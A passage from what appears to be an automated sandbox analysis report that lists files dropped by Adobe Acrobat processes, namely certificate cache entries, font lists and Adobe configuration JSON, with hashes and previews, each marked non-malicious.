Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklDlmnM/tfllXlE/HT8kSzttNNX8RolJuRdxLlGB9lQRYwpDdt:kKpM/eT83NMa8RdWBwRd
MD5:	F9357CDFA1E7FE8DBC91192587CC3DAC
SHA1:	BE78A50F92978A7566582EF87C7FE09B228733DA
SHA-256:	2A5C8DFF458F6B770BD1850C0E1AB6FF8A1ADCDA43E3C833EA16757AD79CF5F1
SHA-512:	606690479AA9525B64A19BE02CCE598FDDB8BFF31D419041BB4685461A9F11711E564C7840C0D8072B67307E6134276B20F935075574F3169F854AFE82520A1B
Malicious:	false
Preview:	p...... ........p.C..c..(....................................................... ..........W.....g..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKz8ybPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:L7bPiDnLNkPlE99SNxAhUe/3
MD5:	D353F61C45E6D9B487A2A5A2F9A439AB
SHA1:	0E7D795126A8DED354CAC00F5B57236962EA1212
SHA-256:	6C61FB5D812FB35D35D598C5B9D24DF167A2F8920F5BCBDC7AB660428F705683
SHA-512:	034B777D1B7B8B5359504B3743EA1D30E5AAD11E6FA644107A075886BC524E3C28CBB0DA399C241750882EB9B320F41AFA673327386E4AC2AFAA16F08881F8D1
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367574024035544
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJM3g98kUwPeUkwRe9:YvXKXkB/GT5LjIPB68sGMbLUkee9
MD5:	61FF50A3DF03A1859D0A39A4D2057464
SHA1:	DFC9738F7E0DEA3B2D44CFF87BA673D6B4A32E32
SHA-256:	E7809719FFE8113FDBA5070AF173BA350F6F1396C1CEE0B1CD4D8E5626FC715C
SHA-512:	399BE41588233C92C6437F61C478F0A7E57B521B1E7A8ECAB087B9463A487F881024EE11350D10C4563BB8C849D11FAB5BC189A8603616741CEF3F211B85BB53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319718764176478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfBoTfXpnrPeUkwRe9:YvXKXkB/GT5LjIPB68sGWTfXcUkee9
MD5:	5160A78F17087513978F59446FA32299
SHA1:	B501E8F8D8226CCFDF7F1EFE793149CCE5EB6B24
SHA-256:	338646B03632B8BDE4BC4C7F3A5DACDCF347D802B7E6659C1AC281C86D2094B4
SHA-512:	903AC977437FB6AFDF7277231826315DE2D2D0FE558B2ACAF2EB5F43BBBC71FD6B7EF3FF79E0F325B7727763065D4853E066DE496ACEE5E7380AC94EE0171D45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29920533331388
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfBD2G6UpnrPeUkwRe9:YvXKXkB/GT5LjIPB68sGR22cUkee9
MD5:	A56D60AE6F347578BDE69C55B9F3BA5C
SHA1:	6ABF540F6EDC65D2E6B9F7AC5D09EE1BBF8FEC1F
SHA-256:	27CF64BA9973A10EDBA22D837D99E2488320B8552AAD46E2FB0A717F2F986CA6
SHA-512:	BE36BADBBAA38D0F7BA2CAE891E5041A7060AEDA74EF1ED138B80010F4DAD6625D73F2D03359E3B275D77931F5F744AF1D0BCBFD2E6D1B5674F034F5B3F95E5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.348723798268613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfPmwrPeUkwRe9:YvXKXkB/GT5LjIPB68sGH56Ukee9
MD5:	7E06E079FAD605CDBCEB148610F7CB95
SHA1:	37C7069F05E3623646A87AB1827CA2EDE7B7536F
SHA-256:	D2D843A8D26530B3FDC28BE17AB9D22BD563067BE2C91DF6B6960D0A4E21DD12
SHA-512:	53100282F79F151998048A2D11702E3323E10A0D4C928916EEF772FF50B818F692487DFD0CAB822E7DCDE676C63B1DC52B629679F998AFEE06190F687ADCA262
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691523907977074
Encrypted:	false
SSDEEP:	24:Yv6XEGT5XI9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvyXghgy6SAFv5Ah8cv/j
MD5:	1DC10A87EE528DD6DEDDAADADF1E90A7
SHA1:	3A2308F6829F6984CC12F1922FFC22C0B9976494
SHA-256:	B0DEF845D1ECDFCC3F50C94E7AC59095FD03248ABCA6C5313A2496463A668D43
SHA-512:	198B2C611E042A5728C974C3B4C4F6DF82E38797C12B6709D5AE1265BC453880E4BF31BC57C097E2B7A0D9D67D8EC0FA483E9E41DDD1BF62D015FFE8BA371E43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318067996894189
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJf8dPeUkwRe9:YvXKXkB/GT5LjIPB68sGU8Ukee9
MD5:	C5D337F9FD1E04DACA23F8634C9113C0
SHA1:	6FCB5E9B64C90765B5C7661B75B505E94E204FD5
SHA-256:	584F8EC1BFA037F58CF517A811F9A638525A07BD8B9F4D1B378547FB22FABD62
SHA-512:	819419B69E55EDDBE57D92AB218F7CC56405D54BBD6E214CFEA4CA1DD74D085C06150140D71D29A4FF53EB8C44A3ED7CC779ADFB4565E7B0B83A8B9C417C5C9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.309112222585297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfQ1rPeUkwRe9:YvXKXkB/GT5LjIPB68sGY16Ukee9
MD5:	658F9E1C2442BC1FE671220CEB783190
SHA1:	0F0C174E10D0C4D7E6A7087C448A501C4514C23E
SHA-256:	AFCA56AEDE516FCFB6271F5BC9C02CE89BDEDA73EBB368DCB9C4C393CE75F43F
SHA-512:	3CAF3A993725D9C066334B4045B4F797ADA7C44720F7B1CDB013B37703861507D0C5A7895D1D1081D79150925D5A35758FAB994320E92C490C879FC33A3F8F72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322511638815103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfFldPeUkwRe9:YvXKXkB/GT5LjIPB68sGz8Ukee9
MD5:	11F095F2CB63564A3029C2D85132B2FB
SHA1:	4AD038832A3E0D257EC1E4A56843A38ADBEDCCB8
SHA-256:	182EE4CC18C49E46791B0B9799A68A54BC57C118B8AC5E12C25B3C404F473DC7
SHA-512:	19C50E2F13E7429916AA191A741394F845B063069A4BD2854D0A8DCB484D4044A2A351113E7AFFF16D6BC6894BFA264DB3CE8963ACF2AD0BF8E3198C00E1AF1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343086030462925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfzdPeUkwRe9:YvXKXkB/GT5LjIPB68sGb8Ukee9
MD5:	75F4B137CB155EB4755CED1DF8C8B2F8
SHA1:	5410BA8BD5CBEDD5389B5B23405FF0213AEE393F
SHA-256:	C76E63CF3829D10EFD023026F5CC3854E4C9EA2E54544038A40714242F2C0483
SHA-512:	731CE218D4678115B6A1DE0BA42B098557B2872A33B3ED40CBFA16591E814A59679C7EAB2BF47B29F5E227F7A6DF5981AB125BE3815CC53B37AF01478FFC39C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"df9ff967-ee1d-4963-b352-d26d33d9b8da","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736747137549,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323928461934938
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkB/HmSg1c2LjcWkHvR0Yt68DoAvJfYdPeUkwRe9:YvXKXkB/GT5LjIPB68sGg8Ukee9
MD5:	E8EDE1B2E13FCDD3BEFB1D0A2CEA11FD
SHA1:	190641FDDB4E600F300DBE79C542D3BFAEA856DE
SHA-256:	EAB12CA16100AE476EF4B5823702372DB9B223C2B326CCCD3D584B6DA60E825E
